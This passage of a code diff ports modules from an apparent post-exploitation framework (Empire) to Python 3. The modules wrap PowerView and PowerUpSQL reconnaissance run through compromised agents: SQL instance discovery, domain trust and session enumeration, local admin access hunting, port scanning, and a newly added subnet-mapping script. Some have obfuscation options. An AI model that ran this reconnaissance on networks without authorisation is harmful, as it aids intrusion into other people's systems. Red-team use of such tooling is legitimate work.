8285 scriptEnd = "\nGet-SPN"
8386
84 for option,values in self.options.iteritems():
87 for option,values in self.options.items():
8588 if option.lower() != "agent":
8689 if values['Value'] and values['Value'] != '':
8790 if values['Value'].lower() == "true":
+63
-58
lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
35
6 class Module(object):
7
48 def __init__(self, mainMenu, params=[]):
5
9
610 self.info = {
7 'Name' : 'Get-SQLInstanceDomain',
11 'Name': 'Get-SQLInstanceDomain',
812 'Author': ['@_nullbind', '@0xbadjuju'],
913 'Description': ('Returns a list of SQL Server instances discovered by querying '
1014 'a domain controller for systems with registered MSSQL service '
11 'principal names. The function will default to the current user\'s '
15 'principal names. The function will default to the current user\'s '
1216 'domain and logon server, but an alternative domain controller '
1317 'can be provided. UDP scanning of management servers is optional.'),
14 'Background' : True,
15 'OutputExtension' : None,
16
17 'NeedsAdmin' : False,
18 'OpsecSafe' : True,
19 'Language' : 'powershell',
20 'MinPSVersion' : '2',
21 'MinLanguageVersion' : '2',
22
18 'Background': True,
19 'OutputExtension': None,
20
21 'NeedsAdmin': False,
22 'OpsecSafe': True,
23 'Language': 'powershell',
24 'MinPSVersion': '2',
25 'MinLanguageVersion': '2',
26
2327 'Comments': [
2428 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
2529 ]
2630 }
27
31
2832 # any options needed by the module, settable during runtime
2933 self.options = {
3034 # format:
3135 # value_name : {description, required, default_value}
32 'Agent' : {
33 'Description' : 'Agent to run module on.',
34 'Required' : True,
35 'Value' : ''
36 'Agent': {
37 'Description': 'Agent to run module on.',
38 'Required': True,
39 'Value': ''
3640 },
37 'DomainController' : {
38 'Description' : "Domain controller for Domain and Site that you want to query against.",
39 'Required' : False,
40 'Value' : ''
41 'DomainController': {
42 'Description': "Domain controller for Domain and Site that you want to query against.",
43 'Required': False,
44 'Value': ''
4145 },
42 'ComputerName' : {
43 'Description' : 'Computer name to filter for.',
44 'Required' : False,
45 'Value' : ''
46 'ComputerName': {
47 'Description': 'Computer name to filter for.',
48 'Required': False,
49 'Value': ''
4650 },
47 'DomainServiceAccount' : {
48 'Description' : 'Domain account to filter for.',
49 'Required' : False,
50 'Value' : ''
51 'DomainServiceAccount': {
52 'Description': 'Domain account to filter for.',
53 'Required': False,
54 'Value': ''
5155 },
52 'CheckMgmt' : {
53 'Description' : 'Performs UDP scan of servers managing SQL Server clusters.',
54 'Required' : False,
55 'Value' : 'False'
56 'CheckMgmt': {
57 'Description': 'Performs UDP scan of servers managing SQL Server clusters.',
58 'Required': False,
59 'Value': 'False'
5660 },
57 'UDPTimeOut' : {
58 'Description' : 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.',
59 'Required' : False,
60 'Value' : '3'
61 'UDPTimeOut': {
62 'Description': 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.',
63 'Required': False,
64 'Value': '3'
6165 },
62 'Username' : {
63 'Description' : 'SQL Server or domain account to authenticate with.',
64 'Required' : False,
65 'Value' : ''
66 'Username': {
67 'Description': 'SQL Server or domain account to authenticate with.',
68 'Required': False,
69 'Value': ''
6670 },
67 'Password' : {
68 'Description' : 'SQL Server or domain account password to authenticate with.',
69 'Required' : False,
70 'Value' : ''
71 'Password': {
72 'Description': 'SQL Server or domain account password to authenticate with.',
73 'Required': False,
74 'Value': ''
7175 }
7276 }
73
77
7478 self.mainMenu = mainMenu
7579 for param in params:
7680 # parameter format is [Name, Value]
7781 option, value = param
7882 if option in self.options:
7983 self.options[option]['Value'] = value
80
84
8185 def generate(self, obfuscate=False, obfuscationCommand=""):
82
86
8387 domainController = self.options['DomainController']['Value']
8488 computerName = self.options['ComputerName']['Value']
8589 domainAccount = self.options['DomainServiceAccount']['Value']
8791 udpTimeOut = self.options['UDPTimeOut']['Value']
8892 username = self.options['Username']['Value']
8993 password = self.options['Password']['Value']
90
94
9195 # read in the common module source code
9296 moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
9397 script = ""
98102 with open(moduleSource, 'r') as source:
99103 script = source.read()
100104 except:
101 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
105 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
102106 return ""
103
107
104108 scriptEnd = " Get-SQLInstanceDomain"
105109 if username != "":
106110 scriptEnd += " -Username " + username
107111 if password != "":
108112 scriptEnd += " -Password " + password
109113 if domainController != "":
110 scriptEnd += " -DomainController "+domainController
114 scriptEnd += " -DomainController " + domainController
111115 if computerName != "":
112 scriptEnd += " -ComputerName "+computerName
116 scriptEnd += " -ComputerName " + computerName
113117 if domainAccount != "":
114 scriptEnd += " -DomainAccount "+domainAccount
118 scriptEnd += " -DomainAccount " + domainAccount
115119 if checkMgmt.lower() != "false":
116 scriptEnd += " -CheckMgmt"
120 scriptEnd += " -CheckMgmt"
117121 if udpTimeOut != "":
118 scriptEnd += " -UDPTimeOut "+udpTimeOut
122 scriptEnd += " -UDPTimeOut " + udpTimeOut
119123 if obfuscate:
120 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
124 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd,
125 obfuscationCommand=obfuscationCommand)
121126 script += scriptEnd
122127 return script
+6
-3
lib/modules/powershell/situational_awareness/network/get_sql_server_info.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7578 with open(moduleSource, 'r') as source:
7679 script = source.read()
7780 except:
78 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
81 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7982 return ""
8083
8184 scriptEnd = ""
8992 auxScript = auxSource.read()
9093 script += " " + auxScript
9194 except:
92 print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
95 print(helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)))
9396 scriptEnd = " Get-SQLInstanceDomain "
9497 if username != "":
9598 scriptEnd += " -Username "+username
+6
-3
lib/modules/powershell/situational_awareness/network/portscan.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
120123 try:
121124 f = open(moduleSource, 'r')
122125 except:
123 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
126 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
124127 return ""
125128
126129 moduleCode = f.read()
130133
131134 scriptEnd = "Invoke-PortScan -noProgressMeter -f"
132135
133 for option,values in self.options.iteritems():
136 for option,values in self.options.items():
134137 if option.lower() != "agent":
135138 if values['Value'] and values['Value'] != '':
136139 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/find_foreign_group.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
109112 try:
110113 f = open(moduleSource, 'r')
111114 except:
112 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
115 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
113116 return ""
114117
115118 moduleCode = f.read()
120123
121124 script += "\n" + moduleName + " "
122125
123 for option,values in self.options.iteritems():
126 for option,values in self.options.items():
124127 if option.lower() != "agent":
125128 if values['Value'] and values['Value'] != '':
126129 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/find_foreign_user.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
109112 try:
110113 f = open(moduleSource, 'r')
111114 except:
112 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
115 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
113116 return ""
114117
115118 moduleCode = f.read()
120123
121124 script += "\n" + moduleName + " "
122125
123 for option,values in self.options.iteritems():
126 for option,values in self.options.items():
124127 if option.lower() != "agent":
125128 if values['Value'] and values['Value'] != '':
126129 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
104107 try:
105108 f = open(moduleSource, 'r')
106109 except:
107 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
110 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
108111 return ""
109112
110113 moduleCode = f.read()
115118
116119 script += "\n" + moduleName + " "
117120
118 for option,values in self.options.iteritems():
121 for option,values in self.options.items():
119122 if option.lower() != "agent":
120123 if values['Value'] and values['Value'] != '':
121124 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/find_gpo_location.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
104107 try:
105108 f = open(moduleSource, 'r')
106109 except:
107 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
110 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
108111 return ""
109112
110113 moduleCode = f.read()
115118
116119 script += "\n" + moduleName + " "
117120
118 for option,values in self.options.iteritems():
121 for option,values in self.options.items():
119122 if option.lower() != "agent":
120123 if values['Value'] and values['Value'] != '':
121124 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
125128 try:
126129 f = open(moduleSource, 'r')
127130 except:
128 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
131 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
129132 return ""
130133
131134 moduleCode = f.read()
136139
137140 script += "\n" + moduleName + " "
138141
139 for option,values in self.options.iteritems():
142 for option,values in self.options.items():
140143 if option.lower() != "agent":
141144 if values['Value'] and values['Value'] != '':
142145 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
97100 try:
98101 f = open(moduleSource, 'r')
99102 except:
100 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
103 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
101104 return ""
102105
103106 moduleCode = f.read()
108111
109112 script += "\n" + moduleName + " "
110113
111 for option,values in self.options.iteritems():
114 for option,values in self.options.items():
112115 if option.lower() != "agent":
113116 if values['Value'] and values['Value'] != '':
114117 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6568 try:
6669 f = open(moduleSource, 'r')
6770 except:
68 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
71 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6972 return ""
7073
7174 moduleCode = f.read()
7679
7780 script += "\n" + moduleName + " "
7881
79 for option,values in self.options.iteritems():
82 for option,values in self.options.items():
8083 if option.lower() != "agent":
8184 if values['Value'] and values['Value'] != '':
8285 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_computer.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
149152 try:
150153 f = open(moduleSource, 'r')
151154 except:
152 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
155 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
153156 return ""
154157
155158 moduleCode = f.read()
160163
161164 script += "\n" + moduleName + " "
162165
163 for option,values in self.options.iteritems():
166 for option,values in self.options.items():
164167 if option.lower() != "agent":
165168 if values['Value'] and values['Value'] != '':
166169 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_dfs_share.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9497 try:
9598 f = open(moduleSource, 'r')
9699 except:
97 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
100 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
98101 return ""
99102
100103 moduleCode = f.read()
105108
106109 script += "\n" + moduleName + " "
107110
108 for option,values in self.options.iteritems():
111 for option,values in self.options.items():
109112 if option.lower() != "agent":
110113 if values['Value'] and values['Value'] != '':
111114 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_domain_controller.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7578 try:
7679 f = open(moduleSource, 'r')
7780 except:
78 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
81 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7982 return ""
8083
8184 moduleCode = f.read()
8689
8790 script += "\n" + moduleName + " "
8891
89 for option,values in self.options.iteritems():
92 for option,values in self.options.items():
9093 if option.lower() != "agent":
9194 if values['Value'] and values['Value'] != '':
9295 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_domain_policy.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7982 try:
8083 f = open(moduleSource, 'r')
8184 except:
82 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
85 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8386 return ""
8487
8588 moduleCode = f.read()
9194 pscript = ""
9295 expand = False
9396 value_to_expand = ""
94 for option,values in self.options.iteritems():
97 for option,values in self.options.items():
9598 if option.lower() != "agent" and option.lower() != "expandobject":
9699 if values['Value'] and values['Value'] != '':
97100 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_domain_trust.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
120123 try:
121124 f = open(moduleSource, 'r')
122125 except:
123 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
126 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
124127 return ""
125128
126129 moduleCode = f.read()
131134
132135 script += "\n" + moduleName + " "
133136
134 for option,values in self.options.iteritems():
137 for option,values in self.options.items():
135138 if option.lower() != "agent":
136139 if values['Value'] and values['Value'] != '':
137140 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_fileserver.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
99102 try:
100103 f = open(moduleSource, 'r')
101104 except:
102 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
105 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
103106 return ""
104107
105108 moduleCode = f.read()
110113
111114 script += "\n" + moduleName + " "
112115
113 for option,values in self.options.iteritems():
116 for option,values in self.options.items():
114117 if option.lower() != "agent":
115118 if values['Value'] and values['Value'] != '':
116119 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_forest.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6467 try:
6568 f = open(moduleSource, 'r')
6669 except:
67 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
70 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6871 return ""
6972
7073 moduleCode = f.read()
7578
7679 script += "\n" + moduleName + " "
7780
78 for option,values in self.options.iteritems():
81 for option,values in self.options.items():
7982 if option.lower() != "agent":
8083 if values['Value'] and values['Value'] != '':
8184 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_forest_domain.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6467 try:
6568 f = open(moduleSource, 'r')
6669 except:
67 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
70 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6871 return ""
6972
7073 moduleCode = f.read()
7578
7679 script += "\n" + moduleName + " "
7780
78 for option,values in self.options.iteritems():
81 for option,values in self.options.items():
7982 if option.lower() != "agent":
8083 if values['Value'] and values['Value'] != '':
8184 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_gpo.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
129132 try:
130133 f = open(moduleSource, 'r')
131134 except:
132 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
135 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
133136 return ""
134137
135138 moduleCode = f.read()
140143
141144 script += "\n" + moduleName + " "
142145
143 for option,values in self.options.iteritems():
146 for option,values in self.options.items():
144147 if option.lower() != "agent":
145148 if values['Value'] and values['Value'] != '':
146149 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_group.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
129132 try:
130133 f = open(moduleSource, 'r')
131134 except:
132 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
135 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
133136 return ""
134137
135138 moduleCode = f.read()
140143
141144 script += "\n" + moduleName + " "
142145
143 for option,values in self.options.iteritems():
146 for option,values in self.options.items():
144147 if option.lower() != "agent":
145148 if values['Value'] and values['Value'] != '':
146149 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_group_member.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
119122 try:
120123 f = open(moduleSource, 'r')
121124 except:
122 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
125 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
123126 return ""
124127
125128 moduleCode = f.read()
130133
131134 script += "\n" + moduleName + " "
132135
133 for option,values in self.options.iteritems():
136 for option,values in self.options.items():
134137 if option.lower() != "agent":
135138 if values['Value'] and values['Value'] != '':
136139 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_localgroup.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8588 try:
8689 f = open(moduleSource, 'r')
8790 except:
88 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
91 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8992 return ""
9093
9194 moduleCode = f.read()
9699
97100 script += "\n" + moduleName + " "
98101
99 for option,values in self.options.iteritems():
102 for option,values in self.options.items():
100103 if option.lower() != "agent":
101104 if values['Value'] and values['Value'] != '':
102105 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_loggedon.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6467 try:
6568 f = open(moduleSource, 'r')
6669 except:
67 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
70 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6871 return ""
6972
7073 moduleCode = f.read()
7578
7679 script += "\n" + moduleName + " "
7780
78 for option,values in self.options.iteritems():
81 for option,values in self.options.items():
7982 if option.lower() != "agent":
8083 if values['Value'] and values['Value'] != '':
8184 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_object_acl.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
120123 try:
121124 f = open(moduleSource, 'r')
122125 except:
123 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
126 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
124127 return ""
125128
126129 moduleCode = f.read()
131134
132135 script += "\n" + moduleName + " "
133136
134 for option,values in self.options.iteritems():
137 for option,values in self.options.items():
135138 if option.lower() != "agent":
136139 if values['Value'] and values['Value'] != '':
137140 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_ou.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
119122 try:
120123 f = open(moduleSource, 'r')
121124 except:
122 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
125 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
123126 return ""
124127
125128 moduleCode = f.read()
130133
131134 script += "\n" + moduleName + " "
132135
133 for option,values in self.options.iteritems():
136 for option,values in self.options.items():
134137 if option.lower() != "agent":
135138 if values['Value'] and values['Value'] != '':
136139 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_rdp_session.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6568 try:
6669 f = open(moduleSource, 'r')
6770 except:
68 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
71 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6972 return ""
7073
7174 moduleCode = f.read()
7679
7780 script += "\n" + moduleName + " "
7881
79 for option,values in self.options.iteritems():
82 for option,values in self.options.items():
8083 if option.lower() != "agent":
8184 if values['Value'] and values['Value'] != '':
8285 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_session.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6467 try:
6568 f = open(moduleSource, 'r')
6669 except:
67 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
70 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6871 return ""
6972
7073 moduleCode = f.read()
7578
7679 script += "\n" + moduleName + " "
7780
78 for option,values in self.options.iteritems():
81 for option,values in self.options.items():
7982 if option.lower() != "agent":
8083 if values['Value'] and values['Value'] != '':
8184 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_site.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
119122 try:
120123 f = open(moduleSource, 'r')
121124 except:
122 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
125 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
123126 return ""
124127
125128 moduleCode = f.read()
130133
131134 script += "\n" + moduleName + " "
132135
133 for option,values in self.options.iteritems():
136 for option,values in self.options.items():
134137 if option.lower() != "agent":
135138 if values['Value'] and values['Value'] != '':
136139 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_subnet.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
124127 try:
125128 f = open(moduleSource, 'r')
126129 except:
127 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
130 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
128131 return ""
129132
130133 moduleCode = f.read()
135138
136139 script += "\n" + moduleName + " "
137140
138 for option,values in self.options.iteritems():
141 for option,values in self.options.items():
139142 if option.lower() != "agent":
140143 if values['Value'] and values['Value'] != '':
141144 if values['Value'].lower() == "true":
+104
-0
lib/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5 class Module(object):
6
7 def __init__(self, mainMenu, params=[]):
8
9 self.info = {
10 'Name': 'Get-SubnetRanges',
11
12 'Author': ['@benichmt1'],
13
14 'Description': ('Pulls hostnames from AD, performs a Reverse DNS lookup, and parses the output into ranges.'),
15
16 'Background' : True,
17
18 'OutputExtension' : None,
19
20 'NeedsAdmin' : False,
21
22 'OpsecSafe' : False,
23
24 'Language' : 'powershell',
25
26 'MinLanguageVersion' : '2',
27
28 'Comments': [
29 'Uses Powerview to query AD computers'
30 ]
31 }
32
33 # any options needed by the module, settable during runtime
34 self.options = {
35 # format:
36 # value_name : {description, required, default_value}
37 'Agent' : {
38 'Description' : 'Agent to run module on.',
39 'Required' : True,
40 'Value' : ''
41 },
42 'IPs' : {
43 'Description' : 'List the resolved individual IPs',
44 'Required' : False,
45 'Value' : 'False'
46 },
47 'Domain' : {
48 'Description' : 'The domain to use for the query, defaults to the current domain.',
49 'Required' : False,
50 'Value' : ''
51 }
52 }
53
54 # save off a copy of the mainMenu object to access external functionality
55 # like listeners/agent handlers/etc.
56 self.mainMenu = mainMenu
57
58 for param in params:
59 # parameter format is [Name, Value]
60 option, value = param
61 if option in self.options:
62 self.options[option]['Value'] = value
63
64
65 def generate(self, obfuscate=False, obfuscationCommand=""):
66
67
68 list_computers = self.options["IPs"]['Value']
69
70
71 # read in the common powerview.ps1 module source code
72 moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
73
74 try:
75 f = open(moduleSource, 'r')
76 except:
77 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
78 return ""
79
80 moduleCode = f.read()
81 f.close()
82
83 # get just the code needed for the specified function
84 script = helpers.strip_powershell_comments(moduleCode)
85
86 script += "\n" + """$Servers = Get-DomainComputer | ForEach-Object {try{Resolve-DNSName $_.dnshostname -Type A -errorAction SilentlyContinue}catch{Write-Warning 'Computer Offline or Not Responding'} } | Select-Object -ExpandProperty IPAddress -ErrorAction SilentlyContinue; $count = 0; $subarry =@(); foreach($i in $Servers){$IPByte = $i.Split("."); $subarry += $IPByte[0..2] -join"."} $final = $subarry | group; Write-Output{The following subnetworks were discovered:}; $final | ForEach-Object {Write-Output "$($_.Name).0/24 - $($_.Count) Hosts"}; """
87
88 if list_computers.lower() == "true":
89 script += "$Servers;"
90
91 for option,values in self.options.items():
92 if option.lower() != "agent":
93 if values['Value'] and values['Value'] != '':
94 if values['Value'].lower() == "true":
95 # if we're just adding a switch
96 script += " -" + str(option)
97 else:
98 script += " -" + str(option) + " " + str(values['Value'])
99
100 script += ' | Out-String | %{$_ + \"`n\"};"`n'+ "get_subnet_ranges"+' completed!"'
101 if obfuscate:
102 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
103 return script
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/get_user.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
149152 try:
150153 f = open(moduleSource, 'r')
151154 except:
152 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
155 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
153156 return ""
154157
155158 moduleCode = f.read()
160163
161164 script += "\n" + moduleName + " "
162165
163 for option,values in self.options.iteritems():
166 for option,values in self.options.items():
164167 if option.lower() != "agent":
165168 if values['Value'] and values['Value'] != '':
166169 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/map_domain_trust.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
114117 try:
115118 f = open(moduleSource, 'r')
116119 except:
117 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
120 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
118121 return ""
119122
120123 moduleCode = f.read()
125128
126129 script += "\n" + moduleName + " "
127130
128 for option,values in self.options.iteritems():
131 for option,values in self.options.items():
129132 if option.lower() != "agent":
130133 if values['Value'] and values['Value'] != '':
131134 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/process_hunter.py less more
0 from __future__ import print_function
